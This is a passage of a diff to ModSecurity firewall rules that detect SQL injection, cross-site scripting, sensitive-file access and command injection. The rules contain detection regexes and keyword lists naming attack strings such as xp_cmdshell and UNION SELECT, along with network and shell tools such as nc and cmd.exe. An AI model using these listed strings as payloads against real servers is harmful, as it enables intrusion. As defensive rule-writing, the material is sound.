"t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,pass,nolog,skip:1" -SecAction pass,nolog,skipAfter:959007 + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,pass,nolog,skip:1" +SecAction phase:2,pass,nolog,skipAfter:959007 SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "(?:\b(?:(?:s(?:ys\.(?:user_(?:(?:t(?:ab(?:_column|le)|rigger)|object|view)s|c(?:onstraints|atalog))|all_tables|tab)|elect\b.{0,40}\b(?:substring|ascii|user))|m(?:sys(?:(?:queri|ac)e|relationship|column|object)s|ysql\.user)|c(?:onstraint_type|harindex)|waitfor\b\W*?\bdelay|attnotnull)\b|(?:locate|instr)\W+\()|\@\@spid\b)" \ - "capture,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Blind SQL Injection Attack',id:'950007',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Blind SQL Injection Attack',id:'950007',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:\b(?:(?:s(?:ys\.(?:user_(?:(?:t(?:ab(?:_column|le)|rigger)|object|view)s|c(?:onstraints|atalog))|all_tables|tab)|elect\b.{0,40}\b(?:substring|ascii|user))|m(?:sys(?:(?:queri|ac)e|relationship|column|object)s|ysql\.user)|c(?:onstraint_type|harindex)|waitfor\b\W*?\bdelay|attnotnull)\b|(?:locate|instr)\W+\()|\@\@spid\b)" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Blind SQL Injection Attack',id:'959007',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:replaceComments,t:compressWhiteSpace,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Blind SQL Injection Attack',id:'959007',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" #SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "\b(?:benchmark|encode)\b" \ -# "chain,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Blind SQL Injection Attack',id:'950903',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" -#SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,(?:[\\\(\)\%#]|--)" -#SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,\b(?:benchmark|encode)\b" \ -# "chain,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Blind SQL Injection Attack',id:'959903',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" -#SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:[\\\(\)\%#]|--)" +# "phase:2,chain,t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Blind SQL Injection Attack',id:'950903',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" +#SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,(?:[\\\(\)\%#]|--)" +#SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,\b(?:benchmark|encode)\b" \ +# "phase:2,chain,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Blind SQL Injection Attack',id:'959903',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" +#SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:[\\\(\)\%#]|--)" t:none SecRule REQUEST_FILENAME|ARGS|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@pm substr xtype textpos all_objects rownum sysfilegroups sysprocesses user_group sysobjects user_tables systables pg_attribute user_users user_password column_id attrelid user_tab_columns table_name pg_class user_constraints user_objects object_type dba_users sysconstraints mb_users column_name atttypid object_id substring syscat user_ind_columns sysibm syscolumns sysdba object_name" \ - "t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" -SecAction pass,nolog,skipAfter:959904 + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" +SecAction phase:2,pass,nolog,skipAfter:959904 SecRule REQUEST_FILENAME|ARGS "\b(?:(?:s(?:ys(?:(?:(?:process|tabl)e|filegroup|object)s|c(?:o(?:nstraint|lumn)s|at)|dba|ibm)|ubstr(?:ing)?)|user_(?:(?:(?:constrain|objec)t|tab(?:_column|le)|ind_column|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id)|pg_(?:attribute|class)|column_(?:name|id)|(?:dba|mb)_users|xtype\W+\bchar|rownum)\b|t(?:able_name\b|extpos\W+\())" \ - "capture,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Blind SQL Injection Attack',id:'950904',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Blind SQL Injection Attack',id:'950904',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "\b(?:(?:s(?:ys(?:(?:(?:process|tabl)e|filegroup|object)s|c(?:o(?:nstraint|lumn)s|at)|dba|ibm)|ubstr(?:ing)?)|user_(?:(?:(?:constrain|objec)t|tab(?:_column|le)|ind_column|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id)|pg_(?:attribute|class)|column_(?:name|id)|(?:dba|mb)_users|xtype\W+\bchar|rownum)\b|t(?:able_name\b|extpos\W+\())" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Blind SQL Injection Attack',id:'959904',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Blind SQL Injection Attack',id:'959904',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" # # SQL injection # SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@pm insert xp_enumdsn infile openrowset nvarchar autonomous_transaction print data_type or outfile inner shutdown tbcreator @@version xp_filelist sp_prepare sql_longvarchar xp_regenumkeys xp_loginconfig xp_dirtree ifnull sp_addextendedproc xp_regaddmultistring delete sp_sqlexec and sp_oacreate sp_execute cast xp_ntsec xp_regdeletekey drop varchar xp_execresultset having utl_file xp_regenumvalues xp_terminate xp_availablemedia xp_regdeletevalue dumpfile isnull sql_variant select 'sa' xp_regremovemultistring xp_makecab 'msdasql' xp_cmdshell openquery sp_executesql 'sqloledb' dbms_java 'dbo' utl_http sp_makewebtask benchmark xp_regread xp_regwrite" \ - "t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" -SecAction pass,nolog,id:999501,skipAfter:959001 + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" +SecAction phase:2,pass,nolog,id:999501,skipAfter:959001 SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "(?:\b(?:(?:s(?:elect\b(?:.{1,100}?\b(?:(?:length|count|top)\b.{1,100}?\bfrom|from\b.{1,100}?\bwhere)|.*?\b(?:d(?:ump\b.*\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebtask)|ql_(?:longvarchar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|e(?:xecresultset|numdsn)|(?:terminat|dirtre)e|availablemedia|loginconfig|cmdshell|filelist|makecab|ntsec)|u(?:nion\b.{1,100}?\bselect|tl_(?:file|http))|group\b.*\bby\b.{1,100}?\bhaving|d(?:elete\b\W*?\bfrom|bms_java)|load\b\W*?\bdata\b.*\binfile|(?:n?varcha|tbcreato)r)\b|i(?:n(?:to\b\W*?\b(?:dump|out)file|sert\b\W*?\binto|ner\b\W*?\bjoin)\b|(?:f(?:\b\W*?\(\W*?\bbenchmark|null\b)|snull\b)\W*?\()|a(?:nd\b ?(?:\d{1,10}|[\'\"][^=]{1,10}[\'\"]) ?[=<>]+|utonomous_transaction\b)|o(?:r\b ?(?:\d{1,10}|[\'\"][^=]{1,10}[\'\"]) ?[=<>]+|pen(?:rowset|query)\b)|having\b ?(?:\d{1,10}|[\'\"][^=]{1,10}[\'\"]) ?[=<>]+|print\b\W*?\@\@|cast\b\W*?\()|(?:;\W*?\b(?:shutdown|drop)|\@\@version)\b|'(?:s(?:qloledb|a)|msdasql|dbo)')" \ - "capture,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'950001',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'950001',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:\b(?:(?:s(?:elect\b(?:.{1,100}?\b(?:(?:length|count|top)\b.{1,100}?\bfrom|from\b.{1,100}?\bwhere)|.*?\b(?:d(?:ump\b.*\bfrom|ata_type)|(?:to_(?:numbe|cha)|inst)r))|p_(?:(?:addextendedpro|sqlexe)c|(?:oacreat|prepar)e|execute(?:sql)?|makewebtask)|ql_(?:longvarchar|variant))|xp_(?:reg(?:re(?:movemultistring|ad)|delete(?:value|key)|enum(?:value|key)s|addmultistring|write)|e(?:xecresultset|numdsn)|(?:terminat|dirtre)e|availablemedia|loginconfig|cmdshell|filelist|makecab|ntsec)|u(?:nion\b.{1,100}?\bselect|tl_(?:file|http))|group\b.*\bby\b.{1,100}?\bhaving|d(?:elete\b\W*?\bfrom|bms_java)|load\b\W*?\bdata\b.*\binfile|(?:n?varcha|tbcreato)r)\b|i(?:n(?:to\b\W*?\b(?:dump|out)file|sert\b\W*?\binto|ner\b\W*?\bjoin)\b|(?:f(?:\b\W*?\(\W*?\bbenchmark|null\b)|snull\b)\W*?\()|a(?:nd\b ?(?:\d{1,10}|[\'\"][^=]{1,10}[\'\"]) ?[=<>]+|utonomous_transaction\b)|o(?:r\b ?(?:\d{1,10}|[\'\"][^=]{1,10}[\'\"]) ?[=<>]+|pen(?:rowset|query)\b)|having\b ?(?:\d{1,10}|[\'\"][^=]{1,10}[\'\"]) ?[=<>]+|print\b\W*?\@\@|cast\b\W*?\()|(?:;\W*?\b(?:shutdown|drop)|\@\@version)\b|'(?:s(?:qloledb|a)|msdasql|dbo)')" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'959001',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'959001',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "\b(\d+) ?= ?\1\b|[\'\"](\w+)[\'\"] ?= ?[\'\"]\2\b" \ - "capture,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'950901',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'950901',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "\b(\d+) ?= ?\1\b|[\'\"](\w+)[\'\"] ?= ?[\'\"]\2\b" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'959901',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'959901',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" #SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "\b(?:rel(?:(?:nam|typ)e|kind)|a(?:ttn(?:ame|um)|scii)|c(?:o(?:nver|un)t|ha?r)|s(?:hutdown|elect)|to_(?:numbe|cha)r|u(?:pdate|nion)|d(?:elete|rop)|group\b\W*\bby|having|insert|length|where)\b" \ -# "chain,capture,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'950905',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" -#SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "(?:[\\\(\)\%#]|--)" "t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase" +# "phase:2,chain,capture,t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'950905',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" +#SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "(?:[\\\(\)\%#]|--)" "t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase" #SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "\b(?:rel(?:(?:nam|typ)e|kind)|a(?:ttn(?:ame|um)|scii)|c(?:o(?:nver|un)t|ha?r)|s(?:hutdown|elect)|to_(?:numbe|cha)r|u(?:pdate|nion)|d(?:elete|rop)|group\b\W*\bby|having|insert|length|where)\b" \ -# "chain,capture,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'959905',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" -#SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:[\\\(\)\%#]|--)" "t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase" +# "phase:2,chain,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'959905',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" +#SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:[\\\(\)\%#]|--)" "t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase" SecRule REQUEST_FILENAME|ARGS|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@pm user_objects object_type substr all_objects mb_users column_name rownum atttypid substring object_id user_group user_tables pg_attribute user_users column_id user_password attrelid object_name table_name pg_class" \ - "t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" -SecAction pass,nolog,skipAfter:959906 + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" +SecAction phase:2,pass,nolog,skipAfter:959906 SecRule REQUEST_FILENAME|ARGS "\b(?:user_(?:(?:object|table|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id)|pg_(?:attribute|class)|column_(?:name|id)|substr(?:ing)?|table_name|mb_users|rownum)\b" \ - "capture,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'950906',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'950906',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "\b(?:user_(?:(?:object|table|user)s|password|group)|a(?:tt(?:rel|typ)id|ll_objects)|object_(?:(?:nam|typ)e|id)|pg_(?:attribute|class)|column_(?:name|id)|substr(?:ing)?|table_name|mb_users|rownum)\b" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'959906',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'959906',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|!REQUEST_HEADERS:via "\b(?:coalesce\b|root\@)" \ - "capture,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'950908',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'950908',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer|!REQUEST_HEADERS:via "\b(?:coalesce\b|root\@)" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'959908',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:replaceComments,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'SQL Injection Attack',id:'959908',tag:'WEB_ATTACK/SQL_INJECTION',logdata:'%{TX.0}',severity:'2'" # # XSS # SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "@pm jscript onsubmit copyparentfolder javascript meta onmove onkeydown onchange onkeyup activexobject expression onmouseup ecmascript onmouseover vbscript: <![cdata[ http: settimeout onabort shell: .innerhtml onmousedown onkeypress asfunction: onclick .fromcharcode background-image: .cookie ondragdrop onblur x-javascript mocha: onfocus javascript: getparentfolder lowsrc onresize @import alert onselect script onmouseout onmousemove background application .execscript livescript: getspecialfolder vbscript iframe .addimport onunload createtextrange onload <input" \ - "t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" -SecAction pass,nolog,skipAfter:959004 + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,pass,nolog,skip:1" +SecAction phase:2,pass,nolog,skipAfter:959004 SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "(?:\b(?:(?:type\b\W*?\b(?:text\b\W*?\b(?:j(?:ava)?|ecma|vb)|application\b\W*?\bx-(?:java|vb))script|c(?:opyparentfolder|reatetextrange)|get(?:special|parent)folder|iframe\b.{0,100}?\bsrc)\b|on(?:(?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick)|s(?:elec|ubmi)t|(?:un)?load|dragdrop|resize|focus|blur)\b\W*?=|abort\b)|(?:l(?:owsrc\b\W*?\b(?:(?:java|vb)script|shell|http)|ivescript)|(?:href|url)\b\W*?\b(?:(?:java|vb)script|shell)|background-image|mocha):|s(?:(?:tyle\b\W*=.*\bexpression\b\W*|ettimeout\b\W*?)\(|rc\b\W*?\b(?:(?:java|vb)script|shell|http):)|a(?:ctivexobject\b|lert\b\W*?\(|sfunction:))|<(?:(?:body\b.*?\b(?:backgroun|onloa)d|input\b.*?\btype\b\W*?\bimage)\b| ?(?:(?:script|meta)\b|iframe)|!\[cdata\[)|(?:\.(?:(?:execscrip|addimpor)t|(?:fromcharcod|cooki)e|innerhtml)|\@import)\b)" \ - "capture,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Cross-site Scripting (XSS) Attack',id:'950004',tag:'WEB_ATTACK/XSS',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Cross-site Scripting (XSS) Attack',id:'950004',tag:'WEB_ATTACK/XSS',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/*|!REQUEST_HEADERS:Referer "(?:\b(?:(?:type\b\W*?\b(?:text\b\W*?\b(?:j(?:ava)?|ecma|vb)|application\b\W*?\bx-(?:java|vb))script|c(?:opyparentfolder|reatetextrange)|get(?:special|parent)folder|iframe\b.{0,100}?\bsrc)\b|on(?:(?:mo(?:use(?:o(?:ver|ut)|down|move|up)|ve)|key(?:press|down|up)|c(?:hange|lick)|s(?:elec|ubmi)t|(?:un)?load|dragdrop|resize|focus|blur)\b\W*?=|abort\b)|(?:l(?:owsrc\b\W*?\b(?:(?:java|vb)script|shell|http)|ivescript)|(?:href|url)\b\W*?\b(?:(?:java|vb)script|shell)|background-image|mocha):|s(?:(?:tyle\b\W*=.*\bexpression\b\W*|ettimeout\b\W*?)\(|rc\b\W*?\b(?:(?:java|vb)script|shell|http):)|a(?:ctivexobject\b|lert\b\W*?\(|sfunction:))|<(?:(?:body\b.*?\b(?:backgroun|onloa)d|input\b.*?\btype\b\W*?\bimage)\b| ?(?:(?:script|meta)\b|iframe)|!\[cdata\[)|(?:\.(?:(?:execscrip|addimpor)t|(?:fromcharcod|cooki)e|innerhtml)|\@import)\b)" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Cross-site Scripting (XSS) Attack',id:'959004',tag:'WEB_ATTACK/XSS',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:compressWhiteSpace,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Cross-site Scripting (XSS) Attack',id:'959004',tag:'WEB_ATTACK/XSS',logdata:'%{TX.0}',severity:'2'" # # File Injection # SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES|REQUEST_HEADERS|XML:/* "@pm .www_acl .htpasswd .htaccess boot.ini httpd.conf /etc/ .htgroup global.asa .wwwacl" \ - "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,pass,nolog,skip:1" -SecAction pass,nolog,skipAfter:959005 + "phase:2,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,pass,nolog,skip:1" +SecAction phase:2,pass,nolog,skipAfter:959005 SecRule REQUEST_FILENAME|ARGS|ARGS_NAMES "(?:\b(?:\.(?:ht(?:access|passwd|group)|www_?acl)|global\.asa|httpd\.conf|boot\.ini)\b|\/etc\/)" \ - "capture,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Remote File Access Attempt',id:'950005',tag:'WEB_ATTACK/FILE_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Remote File Access Attempt',id:'950005',tag:'WEB_ATTACK/FILE_INJECTION',logdata:'%{TX.0}',severity:'2'" SecRule REQUEST_HEADERS|XML:/* "(?:\b(?:\.(?:ht(?:access|passwd|group)|www_?acl)|global\.asa|httpd\.conf|boot\.ini)\b|\/etc\/)" \ - "capture,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Remote File Access Attempt',id:'959005',tag:'WEB_ATTACK/FILE_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'Remote File Access Attempt',id:'959005',tag:'WEB_ATTACK/FILE_INJECTION',logdata:'%{TX.0}',severity:'2'" # # Command access # SecRule REQUEST_FILENAME "\b(?:n(?:map|et|c)|w(?:guest|sh)|cmd(?:32)?|telnet|rcmd|ftp)\.exe\b" \ - "capture,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'System Command Access',id:'950002',tag:'WEB_ATTACK/FILE_INJECTION',logdata:'%{TX.0}',severity:'2'" + "phase:2,capture,t:none,t:htmlEntityDecode,t:lowercase,ctl:auditLogParts=+E,deny,log,auditlog,status:501,msg:'System Command Access',id:'950002',tag:'WEB_ATTACK/FILE_INJECTION',logdata:'%{TX.0}',severity:'2'" # # Command injection # SecRule ARGS "@pm uname wguest.exe /perl /nasm rcmd.exe nc tclsh /xterm finger tftp chown /echo nmap.exe ping /passwd /chsh ps /uname telnet.exe /ftp ls tclsh8 lsof /ping echo cmd.exe /kill python traceroute /ps perl passwd wsh.exe /rm /cpp chgrp /telnet localgroup kill /chgrp /finger nasm /ls nc.exe id /chmod /nc /g++ /id /chown cmd /nmap chsh /gcc net.exe /python /lsof ftp.exe ftp xterm mail /mail tracert nmap rm cd chmod cpp telnet cmd32.exe gcc g++" \ - "t:htmlEntityDecode,t:lowercase,pass,nolog,skip:1" -SecAction pass,nolog,skipAfter:950006 + "phase:2,t:none,t:htmlEntityDecode,t:lowercase,pass,nolog,skip:1" +SecAction phase:2,pass,nolog,skipAfter:950006 SecRule ARGS 